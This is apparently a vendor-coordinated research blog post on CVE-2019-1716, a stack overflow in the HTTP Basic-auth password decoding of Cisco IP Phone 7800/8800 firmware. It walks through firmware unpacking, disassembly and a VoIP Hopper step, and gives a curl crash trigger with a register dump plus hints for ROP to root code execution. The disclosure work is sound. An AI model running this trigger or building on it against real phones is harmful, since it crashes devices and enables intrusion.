26 Mar 19

Cisco IP Phone 7800 Series and 8800 Series Remote Code Execution Vulnerability CVE-2019-1716

One of the most popular and helpful items on every desk is the Cisco IP Phone (x2.5 of the market). You can find them in meeting rooms, hotels, hospitals, Government agencies, airports - everywhere. This device is mainstream, widely-implemented, is the choice for small-to-large companies and easily accessible and not normally on safeguard networks. It's simple to find network socket on VoIP devices, identify its system on the device’s display and connect with your computer. You will notice many places network sockets are entirely under user’s control - companies VoIP technology, third party service providers, Hotels, you name it.

The well-known and highly used security tool VoIP Hopper is good evidence that hackers and penetration testers are interested in the mass deployment of IP phones when evaluating the security posture of an organisation.

We have found a critical vulnerability in the Cisco IP Phone. You can see our advisory here.


Information Gathering and Overview 

I was using popular Cisco IP Phone model 7821 series with firmware version 11.5 which was easy to find for Cisco IP Phone 7900 with available firmware versions - 10-3, 11-5, and 12-1.

A researcher can check the firmware version, IP address and other parameters with the phone screen. All versions of firmware are available for free on Cisco web portal - Where we can download all version for our phone model and make comparisons.

Unpacking the device firmware file is a simple operation with Binwalk (Firmware Analysis Tool). This is because the file-system is UBIFS where we then only need to choose the FW type of our phone and started our work: 


binwalk rootfs78xx.11-5-1-18.sbn






336           0x150           UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000


After UBIFS unpack we can see that it's what we are looking for


rootfs user$ tree -C -d -L 2 .



├── bin

│   └── include

├── dev

│   └── input

├── etc

│   ├── cron.5mins

│   ├── cron.hourly

│   ├── crontabs

│   ├── dbus-1

│   ├── default

│   ├── init.d

│   ├── iproute2

│   ├── network

│   ├── pam.d

│   ├── profile.d

│   ├── pulse

│   ├── rc0.d

│   ├── rc5.d

│   ├── rc6.d

│   ├── rcS.d

│   ├── security

│   ├── skel

│   ├── terminfo

│   ├── trust_store

│   ├── udev

│   ├── udhcpc.d

│   └── xinetd.default

├── home

│   ├── default

│   └── root

├── lib

│   ├── jclFoundation11

│   ├── modules

│   ├── security

│   └── udev

├── logsave -> ./mnt/flash2/

├── media

├── mnt

│   ├── flash

│   └── flash2

├── proc

├── sbin

├── sys

├── tmp -> /var/tmp

├── usr

│   ├── bin

│   ├── lib

│   ├── libexec

│   ├── local -> ../mnt/flash

│   ├── sbin

│   └── share

└── var

    ├── cache -> volatile/cache

    ├── lib

    ├── lock -> volatile/lock

    ├── log -> volatile/log

    ├── run -> volatile/run

    ├── tmp -> volatile/tmp

    └── volatile


Connect to VoIP network and using VoIP Hopper to get access to web interface:    

voiphopper -i eth0 -v <vlan>


A port scan on the target IP Phone produced the following result: 


 80/tcp   open     http

 443/tcp  open     https

 4224/tcp open     xtell

 8443/tcp open     https-alt

 8888/tcp filtered sun-answerbook

 MAC Address: **********(Cisco Systems)


Web server is one of the most interesting targets to investigate because it can be accessed remotely.


Web Server Workflow Analysis

After a quick review of the web application, we see that there are only a few interesting functions available.



Let's understand how the web server is launched, how it's working and handles HTTP requests to find fascinating functions and possibly security flaws.

Unfortunately, we do not see any web server binaries that will be launched in the device's init directory. However, we noticed an immediate launch of the Java application which launched in init process with root (superuser) privileges with the class name “cip.sys.SystemManager”:



├── S20syslog -> ../init.d/syslog

├── S42crond

├── S49restart_mgr

├── S90makedirs

├── S91correct

├── S92phone.sh






#always keep cvm start as last one

/etc/init.d/java.sh start

exit 0





# Daemon information





ARG3="-Xdump:system:none -Xdump:snap:none -Xdump:java:defaults:file=/usr/local/backtraces/javacore.%seq.bt -Xdump:heap:file=/usr/local/backtraces/heapdump.%seq.phd"


ARG5="-cp /usr/lib/Snoopyplus.jar cip.sys.SystemManager"







if ! [ -x $DAEMON ]


        exit 0



# Source the init script functions

. /etc/rc5.d/init-functions


export LD_LIBRARY_PATH=/usr/lib

export LD_PRELOAD="libasyslog.so libcisco.so"


case "$1" in


        echo -n "Starting $BASENAME: "

        ulimit -s 1024

        start-stop-daemon --start --quiet --background --pidfile $PIDFILE --chuid $UID --exec $DAEMON -- $ARGS

        echo "complete"



This demonstrates that the application can be critical and we should take a closer look at “/usr/lib/Snoopyplus.jar”.

Using Java decompiler tools capable of converting class files into readable Java source code. We could easily identify the information needed for the next step:

  • the jar is responsible for acting as System manager/control web interface application with extra services
  • Part of operation services such as HTTP request handling/response were implemented with native .so libraries


package cip.http;

public final class NativeHttpTask

{  static






    catch (Throwable localThrowable) {


     } }}


Review of Native Library

A quick overview of web interface functions, Java application, and native library shows us that now we have everything to assess the web interface.

Also, web interface aided us with great knowledge from the crash logs allowing us to easily investigate during testing.

Security vulnerability is frequently not in the function we supposed to see, but in a function, we not expected to find.

In the native library I found the specific requirement of authorization for URLs link to which I cannot see between web interface functions: “LineInfo,” “CallInfo” and “ModeInfo”.

Pages “LineInfo”, “CallInfo” and “ModeInfo” are protected with HTTP authorization. Library libHTTPService.so contains function “extractUserNameAndPassword” which extracts authentication data from base64 encoding.

This function initiates a stack buffer to store the decoded password parameter with maximum size 0x101 [1]:


.text:0000F368                 SUB             R3, R11, #-neg_0x11c        <------ Buffer init in stack - [r11-11c], buffer size 0x101 - [1]

.text:0000F36C                 LDR             R0, [R11,#Header_string]

.text:0000F370                 MOV             R1, R2

.text:0000F374                 MOV             R2, R3

.text:0000F378                 BL              j_decodeUserPasswd          <--------- Call extracting function


After that “j_decodeUserPasswd” function will write the base64 decoded password from the basic authentication header to a buffer with size 0x101.

The base64 decoding loop, decodes 4 bytes at a time, with step 4 bytes and writes [3] maximum 0xFFFC [2] number of bytes in buffer with size 0x101.


.text:000179F8 loc_179F8                               ; CODE XREF: decodeUserPasswd+38↑j

.text:000179F8                 LDR             R3, [R11,#buffer_addr]

.text:000179FC                 STR             R3, [R11,#var_18]

.text:00017A00                 LDRH            R3, [R11,#length]

.text:00017A04                 BIC             R3, R3, #3                  <--------- Loop size set up (length & 0xFFFC) [2]

.text:00017A08                 STRH            R3, [R11,#length]

.text:00017A0C                 B               loc_17B4C                   <---------- Jump to Loop End to check step

Decode and write to buffer functionality - shortened for first two bytes because for other code will be the same:

.text:00017A10 loc_17A10                               ; CODE XREF: decodeUserPasswd+1C0↓j

.text:00017A10                 LDR             R3, [R11,#Header_string]    <-------------- decode and write functionality Start

.text:00017A14                 LDRB            R3, [R3]

.text:00017A18                 LDR             R2, [R11,#Header_string]

.text:00017A1C                 ADD             R2, R2, #1

.text:00017A20                 STR             R2, [R11,#Header_string]

.text:00017A24                 MOV             R0, R3

.text:00017A28                 BL              j_ConvertBase64Character    <-------------- Decode from Base64

.text:00017A2C                 MOV             R3, R0

.text:00017A30                 MOV             R3, R3,LSL#18

.text:00017A34                 STR             R3, [R11,#var_1C]

.text:00017A38                 LDR             R3, [R11,#Header_string]

.text:00017A3C                 LDRB            R3, [R3]

.text:00017A40                 LDR             R2, [R11,#Header_string]

.text:00017A44                 ADD             R2, R2, #1

.text:00017A48                 STR             R2, [R11,#Header_string]

.text:00017A4C                 MOV             R0, R3

.text:00017A50                 BL              j_ConvertBase64Character    <-------------- Decode from Base64

.text:00017A54                 MOV             R3, R0

.text:00017A58                 MOV             R3, R3,LSL#12

.text:00017A5C                 LDR             R2, [R11,#var_1C]

.text:00017A60                 ORR             R3, R2, R3

.text:00017A64                 STR             R3, [R11,#var_1C]

.text:00017A68                 LDR             R3, [R11,#var_1C]

.text:00017A6C                 MOV             R3, R3,LSR#16

.text:00017A70                 UXTB            R2, R3

.text:00017A74                 LDR             R3, [R11,#buffer_addr]

.text:00017A78                 STRB            R2, [R3]                    <-------------- write decoded byte to Buffer [3]

.text:00017A7C                 LDR             R3, [R11,#buffer_addr]

.text:00017A80                 ADD             R3, R3, #1

.text:00017A84                 STR             R3, [R11,#buffer_addr]      <-------------- increase buffer address on 1


<-------------- continue decoding other symbols --------------------->


Loop End:

.text:00017B40 loc_17B40                               ; CODE XREF: decodeUserPasswd+100↑j

.text:00017B40                                         ; decodeUserPasswd+160↑j

.text:00017B40                 LDRH            R3, [R11,#length]

.text:00017B44                 SUB             R3, R3, #4

.text:00017B48                 STRH            R3, [R11,#length]



.text:00017B4C loc_17B4C                               ; CODE XREF: decodeUserPasswd+78↑j

.text:00017B4C                 LDRH            R3, [R11,#length]

.text:00017B50                 CMP             R3, #0                      <---------- Check end of loop

.text:00017B54                 BNE             loc_17A10                   <----------- Jump to decode and write functionality


After that stack in function “extractUserNameAndPassword” would be overflowed which could lead to arbitrary code execution with Return-to-Libc attack, or simple Denial of Service (DoS) - as the phone will receive a SIGSEGV 11 and reboot.


Trigger Code and Crash Report

Based on this possible security bug, I was able to develop a proof of vulnerability script for quick validation.

I then provided a security report and script demonstrating evidence of the vulnerability to the Cisco Product Security Incident Response Team (PSIRT). This allowed them to easily reproduce the vulnerability for educational purposes and allowed the Cisco team to validate their security patch before the roll-out to ensure users are protected.



payload=`python -c 'import sys;sys.stdout.write("A"*(280)+"C"*80)'`

curl -H "Authorization: Basic $payload" http://${voip}/CGI/Java/LineInfo


A researcher can easily review this crash and develop a Remote Code Execution (RCE) exploit using information gathered from the webInterface Console Logs:


Crash file:



Crash File for process/pid => java/3635

Creation Time:      Thu Dec  6 12:19:14 2018



*             Dumping Registers                            *


R0 =   08821954

R1 =   B5023924

R2 =   00000018

R3 =   08821A54

R4 =   00000006


R6 =   00000000

R7 =   00000152

R8 =   00000000

R9 =   B5051754

R10 = B5051754

FP =   B200821C

IP =   B50305E8

LR =   B5014050

PC =   470E4AB8

CPSR = 20000010

FAULT = 08821954

STACK = B2008200



*             Dumping Stack                                *



@0xb2008200: ffffffff ffffffff 08821a54 08821954 08822008 b2008220 b5016ccc b5014038




*             Crash Information                            *


Thread Name: Unknown (Probably the main task)

Signal:      11

Pid:         3635

TID:         0xb2033460

Task CmdLine: /bin/java

si_signo:    11

si_errno:    0

si_code:     1

si_addr:     0x8821954

The crash log tells us the following:

  • This is memory corruption (SIGSEGV 11), in Process “java”.
  • Stack address, registers, and program counter (PC) is changed and controlled with our input - base64 decoding string “C” symbols give us mostly HEX bytes “0x08” “0x20” “0x82”.
  • The system has Address Space Layout Randomization (ASLR) configured however, part of libraries in the process are compiled without ASLR and have constant addresses.



This security vulnerability can lead to DoS of the device, or using controlled PC register and stack, knowing constant addresses that are not ASLR libraries - it's possible to write ROP gadgets and get RCE with root privileges on the device (As Java process is launched as ROOT).

Therefore we highly recommend users to install the latest security patches from Cisco’s website to improve the security of their systems. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-rce.

We would like to thank Cisco PSIRT for getting this security flaw remediated.

By Rajanish Pathak at xen1thlabs
  Back To Blog Listing